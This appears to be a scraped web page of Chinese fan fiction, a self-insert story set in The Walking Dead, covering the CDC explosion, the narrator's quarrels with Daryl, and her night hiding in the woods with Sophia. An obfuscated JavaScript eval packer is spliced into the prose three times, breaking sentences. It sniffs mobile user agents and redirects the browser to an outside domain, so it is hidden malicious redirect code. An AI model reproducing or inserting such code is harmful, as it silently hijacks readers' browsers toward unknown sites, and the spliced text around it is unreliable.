,但我知足了,我不想与他过多纠缠,免得又点燃火星,径自回自己的房间,却听他在身后向我道歉:“对不起,之前不该对你那么凶,你是对的。” 闻言,我感到很意外,居然能让达里尔·迪克森说出“对不起”,我对他积攒的怨气瞬间烟消云散,转过来面对他,抿嘴笑了:“没事。” “你酒醒了?” “差不多吧。” “还想再喝一点吗?” 他在邀请我,我无法拒绝:“就一杯。” 走进他的房间,枪和弩都被放在桌上,我看着他找出一个玻璃杯子,拿去用水冲洗了好几遍,给我倒上一杯酒。他的后背很结实,手臂上的肌肉线条分明,是典型的硬汉形象,然而举手投足间痞气十足,俨然一个街头混混。我第一次在剧里看到他的时候,总觉得达里尔过不了几集就会对自己人下手,然后被瑞克一枪崩了,没想到会和卡罗尔一起活到最后,成为最具安全感的几个人。 剧迷们都很喜欢达里尔,我也不例外。 “其实我不常喝酒,但是喝了酒以后,会睡得很舒服。”一想到以后达里尔多年奔劳,就格外想与面前这个青涩的他多说说话。 他瞟了眼我的酒杯:“你醒来会很难受。” “难受也是因为宿醉,我不会让自己醉的。” “所有人喝酒前都这么说,刚刚在餐厅,你那副样子显然是喝醉了,如果没有卡罗尔扶着你,你绝对会摔在地上。” 我撑着脑袋,想起他说的画面,那会儿确实是一个人默默地干完了整瓶酒。在酒精的作用下,我脑子里乱糟糟的,想起了许多事情,并且有点明白达里尔之前在车上生气的原因了。 “达里尔,”我突然毫无预兆地喊出他的名字,“活着的人永远比死去的人重要。” 他停下喝酒的动作。 “你哥哥莫尔一定还活着,我坚信你们终有一日会再见,你也不会放弃寻找他对吧。就像吉姆,他被咬了,但他还没死,他是我们的同伴,虽然我才来没几天,可目睹鲜活的生命变成一滩死水,没有人会不被触动。这不是对死人上心,而是对生命的尊重。” 达里尔当时兴许是觉得我们对待将死的吉姆都比对他的的哥哥好,他有恨,同时也清楚这是莫尔自找的。 “我知道,你不用再说了。” “你真的知道?” 他嗯了一声。 我低头凝视杯沿发起呆,手指有意无意地捏动衣角,沉默如冰,我们谁也没有再说话。 达里尔喝完了他瓶中的酒,我立即开口打破该死的寂静:“酒没了,正好我困了,先回去睡觉,你也早点睡,晚安。” “晚安。”他应得很快,仿佛在心中默念过上万遍。 这天晚上我睡得很好,享受着空调吹出来的清爽凉风,没有贪婪的蚊虫叮咬皮肤,床上也没有草屑。无尽的困意悄然包裹我全身,眼皮逐渐沉重,身体却变得轻盈,我闭上眼睛,步入安宁。 8. 爆炸 久违地一觉睡到自然醒,我已经和房间里的床建立了深厚的情谊,若不是饿到感觉肚皮要贴上脊梁骨,我一定会继续赖床。 在房间里简单收拾了一番,就准备到餐厅去,我本来也没有行李,随身携带的包还是艾米的,里面有两套衣服和一些必需品,另有一把军刀。我把包放在床头,推开房门,迈出左脚,余光瞥见另一道门中也迈出了一只脚。 不是吧,这么巧,我心里蓦地一抽,又与达里尔碰上了。 “早上好。”我向他打招呼。 “早。” “餐厅那边似乎很热闹,他们应该都起来了,我们快过去吧。” 我和达里尔是最晚到的两个,其他人都已经吃上早餐,每个人看起来状态都还不错,除了有心事的洛莉和肖恩,以及宿醉的格伦。 T仔煎的鸡蛋是糊状,不过味道还算美味,没有什么可以挑剔的。 按照剧情发展,詹纳会带我们到主控室去讲解行尸变异的过程,可他却到现在还没有出现,我记得他是在达里尔之前就到了餐厅才对。 “喂,格伦,你到底怎么回事!”昨晚喝了太多酒的格伦似乎还没有完全清醒,脸上残留醉意,他的手捂着额头,面前的早餐一口都没动。达里尔一手按在椅背,一手撑着桌子,俯下身想看看格伦是睡着了还是什么,因为他一直在哼唧。 格伦微微晃动,声音犹如口腔中黏糊的液体:“永远,永远,永远不要再让我喝酒了。” 达里尔嘲笑道:“小伙子,你该长大成人了,安那个小姑娘都比你能喝。” 不多时,詹纳姗姗来迟,我看见安德莉亚与戴尔对视一眼,虽然不想一大早就问问题,但他们会的。 用过早饭,我拿了一杯果汁跟大家到主控室,詹纳让维回放19号试验,屏幕上出现一个大脑,他强调是杰出的大脑。这个大脑展示了从感染后病毒扩散全身直至死亡的过程。行尸病毒像脑膜炎一样感染大脑,导致肾上腺出血,大脑停止运作,然后到主要器官,最后死亡,过去与未来随之消逝。 “吉姆就是这样吗?”索菲亚问道,她漂亮的眼睛中满是无措。 卡罗尔点点头,于心不忍地回答:“是的。” 我们之中,只有失去妹妹的安德莉亚小声抽噎,她亲眼看着至亲之人离去,并亲手枪杀,没有人能做到真正的感同身受,但理解悲伤并不难。 接着,詹纳又为我们展示变异过程,变异时间有长有短,短则三分钟,长则八小时。屏幕上的大脑中心出现红色光点,其他都是黑色的,这些红色光点让脑干重新运作,使尸体可以起来走动,可是属于人的那部分并没有活过来,这依然是具尸体,一具没有思想,全由本能控制的躯壳。 詹纳在黑暗中已经度过了一个月,疾控中心对于行尸的研究并没有实质性结果,他说无论去哪都是一无所有。 希望之光渐渐黯淡,前路一片迷雾,令众人停滞不前,因为迷雾中危机四伏,究竟是原地不动,还是赌一把拼个生死。安德莉亚与雅基毫无疑问会选择前者。 “我又想去大醉一场了。”达里尔听后也逃避地语气低沉起来,我放下果汁,平淡地看向墙壁上倒计时的钟。 戴尔也注意到了,问向詹纳:“我知道你很难做,我不想再问问题,但是那个钟数到零会发生什么?” 詹纳略一迟疑:“地下室的发电机没了燃料。” 瑞克问然后呢,他则不再回答,兀自走开。于是瑞克唤出人工智能,维有求必应,告诉我们电力耗尽后将会进行全面消毒。 怀着疑惑与不安,大家返回自己的房间,而瑞克、肖恩、格伦、T仔四人去检查发电机。 我在房间门口犹豫许久没有进去,走到达里尔门前,抬手敲响,他打开门,手里新开的一瓶酒似乎才开始喝。他惊讶于我的到访,疑惑地问我想干什么。 “没什么,”确实没什么,我只是想让他少喝一点,“酒,别喝太多了。” 达里尔嗤笑,眼神中流露出轻蔑,挑衅地饮了一大口:“你还管起我来了。” “不是管,是友好的建议,喝多了容易激动。”免得一会儿得知疾控中心将要爆炸,会一气之下把詹纳给砍了。达里尔并不打算接受我的建议,也没有赶我走的意思,但我向来不喜欢热脸贴冷屁股,情不自禁叹了口气,准备回房躺一下,被他叫住:“进来坐坐?” “不了,我想再去睡一会儿。” “那好吧,别睡太熟,瑞克他们回来还要商量之后的行程。” 我在房门口停下,问他:“你觉得我们该去哪里?” 他又灌了一口酒:“无所谓了,别死就行。” 放心吧达里尔,我在心里对他说着,你的生命力可顽强了,能杀死你的还没出生呢。 许是沉默的时间占多数,我感觉和他并没有聊多久,他的房间转眼就变暗了,达里尔一时怔住,难以置信地走进房中再走出来,迷茫地盯着我看。这时,洛莉也走出房门,她房中的空调和灯都停了,紧接着,其他人相继开门。 詹纳从走廊的拐角处走来,顺走达里尔的酒喝下一口:“正在优化能源耗用,第五区在自行关闭。”他话音未落,走廊的灯熄灭了。我们跟在詹纳身后一起来到主控室,达里尔不停追问,詹纳始终一言不发,高深莫测的,仿佛藏了个惊天大秘密。 正好瑞克等人回来,慌慌张张问发生了什么。 “系统正在终止一切非必需设备,为了尽可能保证电脑运行到最后一刻,当剩余时间接近半小时,程序就会启动。” 主控室里,钟表上的时间还剩31分28秒。 詹纳提起坚持到最后的法国人,自认为快找到解决方法,结果却与疾控中心一样,电力耗尽,弹尽粮绝。显然,他的最后一刻到了。 肖恩怒极,但奈何不了他。 瑞克让大家赶快收拾东西现在就离开,我们刚动起来,警报声猝然响起,维出声提醒:“距离消毒程序启动还有三十分钟。” 我迅速跑向詹纳,把他从控制台前推开,阻止他关门,可门还是降下了,我们被锁在主控室。怎么会这样!他明明还没有输入密码才对!我心中一紧,一种恐怖的想法萦绕在我脑中,难道说,因为我的存在,这个世界与原剧产生了出入? 达里尔失控冲上来要对詹纳动手,他的骂声强行让我缓过神,瑞克紧急叫喊肖恩,肖恩与T仔拉住他。 面对瑞克立刻开门的要求,詹纳表示无能为力:“这是电脑操控的,我无法控制,上面的出口全都关闭了,紧急通道也封锁了。我告诉过你们,前门一旦关闭,就再也无法开启,你们当时都听见了。” “消毒程序启动以后呢?”瑞克喘着粗气,递给肖恩一个眼神,两人强势逼问詹纳。 詹纳不怵这两个凶神恶煞的警察,宣泄般冲他们大喊:“你知道这是什么地方吗!”“这里面存放的东西危害性相当强大,生化武器,天花病毒,能夺走半数国民生命的埃博拉菌株,那可是你们死都不想泄露出去的东西!”怒吼之后,他平息情绪坐下,“发生灾难性电力故障时,比如在恐怖袭击中,系统会启动HIT以禁止任何有机体离开。” “HIT?”瑞克不解。 詹纳让维解释:“HIT,强脉冲温压油气炸弹……”人工智能说出一大堆专业术语,我听不太明白,反正就是这个炸弹威力很大,仅次于核武器。 所以,二十几分钟过后,炸弹爆炸,我们都将灰飞烟灭。 “它会点燃空气,”詹纳说得从容,“毫无痛苦,再无忧伤、悲痛、懊悔和一切。” 得知死期已至,卡罗尔抱住索菲亚哭泣,瑞克一家也紧紧相拥。达里尔将酒瓶朝紧锁的大门扔去,肖恩则找来一把斧子用力劈砍,无济于事。 孩子们依偎在妈妈怀中泪如雨下。我蹲下来想安慰他们,却说不出一个字,转而面向詹纳:“你想死在这里可以,我们不会拦你,但你不该让我们陪葬。” “顺其自然吧,”他说,“你们都清楚外面的情况,生而残酷,死而痛苦。你们都明白最终会是什么样的下场,你们都亲眼见过。” “所以呢?在这里等死?如果要死我们早就死了,为什么还要来到这里?你不能替我们做决定,也不能把自己的想法施加在我们身上!” 与此同时,肖恩他们的斧子对门造成的破坏微乎其微,毫无进展,他失落地冲瑞克摇头。 詹纳似是骄傲地解释:“这些门能经受火箭袭击。” “你的头可受不了!”达里尔挥舞斧头走来砍向詹纳,我起身拦住他,可他的力气太大了,手一推,我就摔坐在地上,还是瑞克、戴尔与T仔三人合力才制住他。 “你不是说你的直觉很准?”他又开始了,“现在呢?我们都要死了。” “一定会有转机,你不要再冲动了,最好冷静一点。”我跟上他,他在徘徊。 “我杀了那个科学怪人就能冷静下来,好比过你在这里什么都不做,只知道直觉、信任,有屁用!” “你非要在这个时候像个小学生一样和我吵架吗?”我实在忍无可忍。 “什么?小学生?”他突然靠近,我感受到他强大的威压,不由得胆怯,但我必须让他明白明白不是所有人都要承受他的坏脾气:“对!我说的一点不错,不然我为什么让你少喝点酒,就是怕你发酒疯,现在看来,你才是那个随时随地发疯的家伙!你有没有想过,你要是把詹纳砍了,我们永远都出不去!” 听到我们的争吵,瑞克那边也不好过,他昨晚与詹纳说起自己知道心爱的人迟早会死,不过是时间问题。既然他都这么想,那之前的大话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790944|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算什么。 “安是对的,”他看向我和达里尔,且不为詹纳的话动摇,“我们要想出去,还是得靠你,詹纳博士。我要保证希望一直在,而它总是存在,也许不是你,也许不在这,但在其他地方总会有人……” “所有的一切都完了,你不明白吗?”安德莉亚很消极。 “不!”我飞奔过去对她说,“只要还活着,就会有希望。” 她想反驳,目光落在我的衣服上,登时泪眼婆娑,我抱住她,轻抚她的后背。 詹纳继续述说这是一场灭绝之灾,卡罗尔哭诉不该把我们关在这里,她年幼的女儿索菲亚不该就这样死去。 我抬头注意到雅基的表情,她已决心赴死。 肖恩一怒之下找来枪瞄准詹纳,威胁他开门,瑞克叫肖恩住手,枪响,子弹打在别处,火花四射,将闹剧推向高潮。 瑞克环视众人,整理好心情,沉着地进行最后的劝说:“你在撒谎,詹纳,你说没有希望,那你应该早就和大家跑了,或者自杀,但你没有,说明你在坚持做什么,而这一定和行尸病毒有关。为什么,你为什么要留下?” “不是我想留下,我做过承诺,对她,我的妻子。” 19号实验体就是詹纳的妻子,她求詹纳尽全力继续研究。 我无意听这些,因为达里尔又去砍门了,我深吸一口气,做好被他骂的准备去找他。 “你冷静点了没?” 他不理我,只一下又一下地砍击大门。 “瑞克他们会说动詹纳的,我们一定能出去。” “你问问洛莉,说不定她会同意你在死前和瑞克发生关系。” “达里尔!”我没想到他会说出这种话,“你太过分了!”莫名的感觉胜过愤怒,心里好似压着一块巨石,就像是暴雨来临的前夜,无边黑暗侵袭,狂风倾轧森林,四野独我一人,被无形的巨手扼住咽喉,发不出声音,叫喊不得,即将成为夜里毫无分别的一抹黑。 孤独,我竟在这时才觉得自己孤独。 我忍住眼泪,转过身时泪水滑落,门也毫不意外地开了,大家纷纷狂奔。 我想也没想地往回走,我还要试试劝安德莉亚和雅基一起离开,但是手却被一股强于我数倍的力道握住。 “还不去拿包逃命?”达里尔扔了斧子,我听出他话中难掩的欣喜。 “我们只剩四分钟了,快走!”格伦大喊,催促众人。 我甩开达里尔的手,正如雅基甩开T仔的手,她要留下,她不想变成吉姆和艾米那样。 安德莉亚也平静地表示留在这里。 “不!”我和戴尔同时出声,叫众人抓紧时间先行离开。 达里尔本是离门口最近的,现在成了最远的:“安,给我快点出来!” 我也不理他,走到安德莉亚身边坐下,尝试打感情牌:“安德莉亚,如果艾米还活着,她不会希望你这样的。” “但她死了,她不在了,不是吗?” “你还有我们啊,我,戴尔,雅基!”我看向雅基,“我们一起出去好吗,只要我们在一起。” 雅基摇头,毅然决然。 “好吧,”戴尔坐到安德莉亚对面,“如果你不走,我也不走。” “戴尔,你不能这样!” “你也不能这样,走进某人生活,在他在乎你后又一走了之。我要留下,这事就这么定了。” “你们都定了,那我也定了,”还得是戴尔有办法,我牵住安德莉亚的手,目不转睛看着她,“你瞧,我穿的是艾米的衣服,我会陪着你,起码死在这里总比每天面对达里尔那张臭脸好。” “你们,你们……” 终于,安德莉亚站了起来。 “雅基,你……”我惊喜地希望雅基也能做出一样的选择,对方仍是摇头,让我们快走,时间快来不及了。 我本可以与瑞克他们逃走,可我忘不掉艾米,我对她们姐妹两个心怀愧疚,如果那天晚上我再小心些,再周全些,保护好艾米,艾米就不会死。 最后一分钟,我们赶到一楼,发现被瑞克的手雷炸碎的玻璃窗,我们从缺口跳出疾控中心的大楼,达里尔在车内探出上半身,朝我们招手,他的手上拎着我的包。 “趴倒!快趴倒!”众人大喊。 我们三个赶紧俯身躲在堆起的沙袋后面,爆炸声震耳欲聋,烈火从建筑中冲向四面八方,冲上天际,浓烟滚滚,怪味刺鼻,光亮刺眼,随即而来的耳鸣令我的神经都变成了一根根紧绷的弦。 高温之下,空气燃烧,生死之间,脊背发凉,我们用尽最后的力气奔进房车,心如擂鼓,仍有余悸。 车子启动,我却察觉不出,眼睛失了焦,大脑一片空白与死寂。 我们刚刚,真的是差一点就要死了啊。 9. 索菲亚 亚特兰大沦陷,我们一行将前往肖恩所说的本宁堡军事基地。 达里尔改换摩托车骑在前方,轰鸣声隔着房车的玻璃传进我耳中,扰得我无法专心听肖恩教习如何拆装枪械。自从离开疾控中心,我就再也没和他说过一句话,连包都是委托格伦帮我拿回来的。 所有人都看出来我正和达里尔闹矛盾,也都明白达里尔还不能控制自己暴躁的脾气,因此想说和的肖恩只能劝我:“安,他就是那样的混蛋,无论他说什么做什么,你就当他在放屁,不要往心里去。” “我知道,但我还在气头上,过几天就会好了。” “是吗,我还以为你在等他向你道歉,不然你为什么一直盯着达里尔。” 我猛地一怔,意识到自己的目光并不在肖恩的手上,而是直勾勾盯着车外达里尔渐行渐远的背影。我不知道该怎么回答,脸上倏地一热,忙掩饰尴尬转移话题:“我也想有把自己的枪,我从来没用过这玩意。” 肖恩一边清理安德莉亚的枪,一边应道:“是啊,末世让很多人实现了人生第一次,第一次用枪、第一次用刀、第一次杀行尸、第一次逃生、第一次包容混蛋。你和达里尔得尽快修好,为了你们自己,也为大家。” “这是什么重要的事情吗,我们只是看对方不顺眼,又不是看大家不顺眼。”其实我早就消气了,毕竟达里尔只是冲动、暴躁、说话难听,本性并不坏。 “当然重要,”肖恩轻抬眉梢,说的话令我惭愧,“因为我们是一个团队,我们必须团结。” 安德莉亚也深深同意肖恩,用胳膊肘碰了碰我:“他是对的。” “好吧,”我投降般举起双手过头,“下一次下车,我就主动去找达里尔,但如果他不理我,我可就不管了。” 他们两个满意地点头,活像是见证孩子第一次学会走路时的父母。 忽然,戴尔的一声惊叹让我们三个望向车子前方,公路上一辆侧倒的货车映入眼帘,到处都是废弃的汽车堵塞道路,不少车子的后备箱和车门都打开着,里面凌乱不堪,还有些车子撞在一起,车顶朝下,整个被撞翻。我已经能想象到人们慌不择路逃离的景象了。 达里尔掉转车头从我们窗边过去,我假意没看见,自言自语道:“车里的人都去了哪里?” “得小心,附近应该有行尸出没。”经过我的提醒,肖恩警惕起来。 房车慢慢行驶,我全神贯注地观察外面每一辆车,一具女性尸体坐在一辆白色的汽车后座,脸上的皮肤苍白而腐烂,剩个骨架支撑着。 众人皆提心吊胆,不放过视野范围内的任何角落。 就在这时,房车发出响动,吓了我们一激灵,挡风玻璃被一团不停冒出的白气遮挡,车子抛了锚。 我们下车走到一起,达里尔从远处走来,我还没想好第一句和他说什么,不愿面对他,移步到卡罗尔母女身边,将索菲亚额前的一缕金发撩到耳后:“还好吗,这一路不算轻松。” “是的,”卡罗尔挤出一个笑容,“不过有大家在,我们很安心。” “嗯,”等到以后,卡罗尔也会成为让大家安心的存在,不过是在付出数不清的代价之后,我端详了一会儿可爱的小姑娘,她手里的布娃娃很是别致,“索菲亚,它是你的朋友吗?” 索菲亚的眼睛在阳光底下灿烂灵动,她应声答道:“对啊,我很喜欢它。” “真好啊。”与卡尔相比,索菲亚没有那么坚强,可这也不该成为评判孩子的标准,她理应在善良的世界里成长成善良的人,偏偏父亲家暴,母女敢怒不敢言。行尸的爆发确实是一场前无古人后无来者的灾难,所有人都死了,而活下来的则开启了第二条生命,卡罗尔如此,索菲亚亦应如此。 修车需要一段时间,肖恩提议我们收集一切能利用的东西。 卡罗尔找到了一些漂亮的衣服,我夸赞称很适合她,她也喜欢,只是艾德从前不允许她打扮自己。 “那是因为他们希望自己的妻子软弱服从,而不是美丽大方,好让他们有掌控欲。”我脱口而出,说完才意识到自己说错了话,怎么哪壶不开提哪壶,又让卡罗尔想起伤心事了不是,“抱歉,我不该再提起这些。” “你是对的,我太软弱了。”完了完了,卡罗尔真的露出了悲伤的神情。 “卡尔,别离开我的视线。”好在洛莉出声止住了卡罗尔呼之欲出的情绪。 卡罗尔嘴角微微抽动,没有让眼泪流下来,看向自己的女儿,眼中重新有了点坚毅:“索菲亚,你也是。” 我带着两个孩子在车堆中寻找有用的东西,一辆皮卡的副驾里有三瓶未开封的矿泉水以及两袋零食,我从敞开的驾驶位车门钻进去,尽量不触碰位子上的死尸,耳边充斥着苍蝇的嗡嗡声,它们横冲直撞,我忍住恶心把三瓶水拿了出来。接着在一辆敞篷车内发现装满了美金的黑布袋,如今这世道,一大袋美金还没有隔壁车里的一袋子苹果值钱,挑选出来坏掉的苹果,能吃的不过两个。 一般越野车内都应该放着适合野外生存的物品,我快速跑到草地上的越野车边,回头确定卡尔与索菲亚离我不远,然后试了试车门,竟然打开了。车里掉了一副望远镜,我捡起望远镜戴到脖子上,并在缝隙里看见一把弹簧刀,真是意外之喜。 我把弹簧刀塞进裤子右边的口袋,裤腰左边别着我的军刀,我打算以后随身携带,以应对突发情况。 回到孩子们身边,我得意地向他们展示望远镜,擦了擦镜片,瞄向远处。 “该死,他们来了!”一群行尸正缓缓朝我们移动,我明知如此,还是被吓出了一背的冷汗。 “赶快趴到车下!”与此同时,瑞克慌忙赶过来,“安,快带孩子们趴到车下!” 顾不上掉落的矿泉水与苹果,我牵住索菲亚的手,拉着她藏到一辆车底下,卡尔与瑞克分别在我们左边的另外两辆车下,洛莉和卡罗尔在瑞克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第二只行尸从车前面绕过来追我们,插着军刀的行尸也出来了,索菲亚先我越过公路的护栏,滑下山坡,逃进林中,我不得不紧随其后,我不能让索菲亚一个人。 丛林的地面坑坑洼洼,她踩到凸起的石块跌倒,我眼疾手快接住她,把人紧紧抱在怀里。瑞克从别的路找来,他不能拔枪,因为枪声会把附近的行尸全部招来,我拿出口袋里的弹簧刀给他,他没有收,让我保护好索菲亚。 附近有一片小水池,泥巴壁上有个深陷进去的洞,瑞克叫我们躲在里面,决意自己引走那两只行尸,然后我带索菲亚原路返回公路。 可是瑞克,我在林子里分不清方向啊! 我与索菲亚刚躲好,行尸就追逐我们的踪迹来到水池,在我和索菲亚的头顶上,瑞克拍打水花挑衅行尸,两只行尸相继跳进水中,没有发现身后的我们。 我牵紧了索菲亚的手,我们两个人的手心全是汗水,腿肚子发软,宛如惊弓之鸟,汗毛倒竖。 她害怕行尸,我则怕她出事。 10. 丛林 迷宫一样的丛林,放眼望去皆是张牙舞爪的“绿”,树枝仿佛是妖魔鬼怪随意变换的身形,刮蹭发出的响声是它们的低语。我的脚深陷进湿软的泥地,昏黄的池水清凉而刺骨,使我有种被钉在此处无法逃脱的感觉。 “索菲亚,索菲亚,”我轻声呼唤怀中孩子的名字,她正瑟瑟发抖地望着我,圆溜溜的眼睛忽闪忽闪,一时之间,我满脑子都是卡罗尔哭泣的脸,“别害怕,我会陪着你,我们会安全回到大家身边的。” 不知是哪里来的力气,我鼓足劲把她抱起,以免她不慎摔倒。小心翼翼从洞里出来,我环顾四周,往来时的方向跑去。 然而我只记得大概的方位,还是索菲亚给我指了路,此刻我什么都不敢想,因为越是担心什么,越是可能会发生。 两边倒退的灌木丛似乎在监视我们,嘲笑我们,强烈的恐惧攀上我的后背,我总觉得被什么东西尾随,却不敢回头看,只盯着前方,期待沐浴在开阔公路上的亮光中。 突然,我呼吸一窒,心提到了嗓子眼。 身前,一只游荡的强壮行尸发现了我们,正朝我们扑来,索菲亚被吓得叫出声,我赶忙安抚,将她放下,把人护在身后,拿出弹簧刀,干净的刀刃从来没被使用过,我必须把它插进行尸的脑袋。 “啊!”又是一声大叫,我回头去看索菲亚,我们的后方居然还有一只行尸,并且已经抓住索菲亚的胳膊,马上就要拽到嘴边。 我顾不得强壮行尸步步逼近,回身举起弹簧刀刺了进去,这次没有刺歪,行尸的头顶被刀刺穿,黑血汩汩。行尸倒地,索菲亚抽回手臂,她浑身抖得厉害,后退着远离我。我还未从刚才击杀行尸的刺激中缓过神,强壮的行尸已经按住了我的肩膀,我动弹不得,心中警铃大作,胡乱挥刀朝后捅向行尸,却只是划伤它的胸口,不过在它张嘴咬我的脖颈时,我无意中割瞎了它的一只眼睛,因此下嘴出现了偏差,并没有咬到我,我趁机曲臂击打行尸的腹部,成功挣脱,再次把索菲亚抱起来逃命,就是不知道我们是不是离公路越来越远,可我无暇想起这些。 行尸穷追不舍,我也快没了力气,不得已张大嘴巴辅助呼吸再撑一撑。一大股浑浊的空气涌进我的肺里,岔气的疼痛与脑袋的眩晕同时使我慢下来。 不能慢!我默默呐喊,绝对不能被行尸追上!现在的我疲惫不堪,索菲亚惊吓过度,我没有把握能在保全索菲亚的情况下杀死行尸,唯有逃跑才是明智的选择。 天无绝人之路,索菲亚望见密林中一顶黄色帐篷,我想起来第二天的早上,达里尔他们将会找到这里,于是决定进帐篷中躲避行尸。 拉开帐篷拉链的同时,我捂住索菲亚的嘴,防止她看见坐在椅子上的干尸而尖叫。我让她闭上眼睛,紧靠着我,我握住刀,盯住帐篷上光影的移动。瞎了一只眼的行尸行动变得缓慢,它会撞到树,会被路上的树干绊倒,会从陡峭的坡上摔下,但终究还是找到了帐篷这里。 它正走向帐篷,我听见它的脚步声,一声、两声、三声……它从正面绕到后面,围着帐篷转圈,只要它有破坏帐篷闯进来的动作,我就会毫不犹豫地用刀刺它。 不过行尸转了两圈,徘徊了一阵子,没有发现我们,随后离开了。 我拉开一点拉链,挑起帐篷门的一角,贴着地面查看外头,没有行尸,危机解除。可是丛林中的绿色不再纯粹,添了些晚霞的橘黄,天光沉沉,暮色四合,幽夜将至。 “索菲亚,天快黑了,我们要么抓紧回去,要么只能在这里凑合一晚。”两种选择都不安全,我不敢担起责任,推诿地将选择权交给一个孩子。 听到我说话,她才睁开眼睛,泪眼朦胧,拭泪啜泣:“我跟你一起。” “好,那我们还是先在这里躲一晚上,天黑得很快,现在出去太冒险了。” 我把帐篷里的干尸拖到外面,不放心地在它脑袋上补了一刀,又在门口的一堆杂物里找到一罐子麦片,打开盖子,里面满是霉味,而坏掉的保温箱里存放着五袋巧克力,虽然都融化了,总归还能吃。 “索菲亚,我们不能明确知道这片林子里有多少行尸,如果再碰见落单的,千万不要叫喊,要先捂住嘴,然后想办法应对,好吗?”单是一两只还好,倘若是一群,真就只有等死了。她接过我递的巧克力,点点头,撕开包装袋,把里面的流体巧克力咪进嘴里。 我钻进帐篷,留了个小缝观察外面,搂住索菲亚:“没事的,我们都会好好的。你想想看,瑞克和肖恩都是警察,他们多厉害呀,一定会找到我们,还有达里尔,虽然很凶,可他到了丛林里就跟回自己家一样,他知道我们是在客厅还是厨房。你妈妈也是,她是这个世界上最爱你的人,她现在肯定要急疯了,但是夜晚太过危险,他们不能深入林子里来,得明天早上才能找到我们,我们就在这里睡一觉,一觉睡醒,他们都会出现的。” “不要离开我,我害怕。”索菲亚拽住我的衣服,眼睛红肿,声音破碎。 “我不会离开你的,你也不要离开我。” 她轻轻地嗯了一声,我把剩下四袋巧克力都给了她,她摇头,让我吃。 “我还不饿,”我撒了谎,其实我快饿晕了,“天已经黑了,你肯定很累,挨着我睡吧,我会一直在这里,哪都不去。”拉紧帐篷的拉链,我调整姿势伸直双腿坐着,索菲亚不敢睡觉,只是枕在我的大腿上,闭起眼,急促的喘息还没有平稳。 大概过去十分钟左右,天彻底暗了。 林中响着虫鸣与微微的风声,我在漆黑中看不到任何东西,视觉变弱,听觉便格外敏感,帐篷外面一点动静都足以让我冷汗涔涔,已是风声鹤唳,草木皆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那之后就要开始做美梦了,”我抚摸她的脸颊,手臂擦掉她额头的汗,触碰她抱着娃娃的手,“你的朋友也陪着你呢,再睡一会儿吧,我们可以去梦里的游乐场,吃冰淇淋,听喜欢的音乐,你想做什么就做什么。” 她抬手也摸了摸我的脸:“你也是我的朋友。” 我愣住了,回道:“是啊,那我们三个好朋友要继续睡觉了。” “好。”索菲亚重新闭上眼,她往我怀里缩,我正好舒展四肢,僵硬的骨头咯咯作响,舒服了不少。 后半夜没有行尸再来,我却丝毫不敢松懈,直至天亮,从未阖眼。晨光熹微,从帐篷上被我的刀划烂的洞中照射进来,洒在我的脸上,我头痛欲裂,浑身无力,透过洞看向外面,求这刺眼的阳光鞭挞我的神经,唤醒几欲昏倒的我。 11. 教堂的钟声 弹簧刀上的血迹已经凝结,我怎么擦都擦不掉,还把衣服弄脏了,搞得满手污血。 “索菲亚,我们就在这里等一等,卡罗尔他们会来的。”虽然现在的我很想闭上眼睛睡一觉,但我不能让索菲亚独自醒着。 经过昨天一起逃命这件事,她与我之间亲近了不少,也冷静了不少,仿佛一夜之间长大,竟主动提出帮我戒备,让我躺下休息。 “你真是太贴心了,”有了她的话,我觉得我为之做的一切都是值得的,同时我不希望她有任何心理负担,得说点什么让她笑一笑才好,“索菲亚,我像你这么大的时候,有次在学校吃早饭,喝粥,粥是在一个大桶里,提前被运到教室门口,我们自己舀到碗里喝,喝不完就倒回去,然后把碗放在框中,由值日的同学送回食堂。我当时一边喝一边和同学们聊天,错过了还碗的时间,老师让我还到隔壁班去,我当时很急,不想再喝了,找隔壁班老师说明情况,她同意了,我想都没想就把自己剩下的粥倒进他们的粥桶里,你猜发生了什么?” 她聚精会神地听着:“什么?” “隔壁班吃得晚,还在排队舀粥呢,我这一倒,他们都喝不成了。” “天呐,好尴尬。” “是啊,非常尴尬,我现在想起来还是会脚趾头抠地。” 索菲亚哑然失笑,弯起的嘴角随即垂下:“你一定很后悔来到这里。” “不,我一点都不后悔,我很庆幸遇见了你们。”说着,我牵起她的小手,理了理她凌乱的头发。 突然,我的手停在空中,做噤声的动作示意索菲亚不要发出声音,她看不到自己身后正有一双手触摸帐篷,但明白是行尸来了,她记得我说过的话,捂住嘴巴,闭上眼睛。 我一动不敢动,只能等行尸自己离开,可是它的手挤压得帐篷变了形,不停伸向索菲亚。眼见着它就要碰到,我当机立断捡起地上的空罐子扔向帐篷的另一面。行尸果然被吸引过去,我趁机拉开帐篷的拉链,拾起刀,带索菲亚往外面逃。 出来后,行尸立即扑向我们,我在战斗与逃跑之间犹豫,还不等我决定好,不远处的林子里又一只行尸过来了。本就迷失方向的我们只一味逃命,根本不管路通向何处。逃了大概几分钟,我往回看,原本的两只行尸变成了五只。越发棘手,再不找到地方躲避,我和索菲亚不等被行尸咬死,便要累死了。 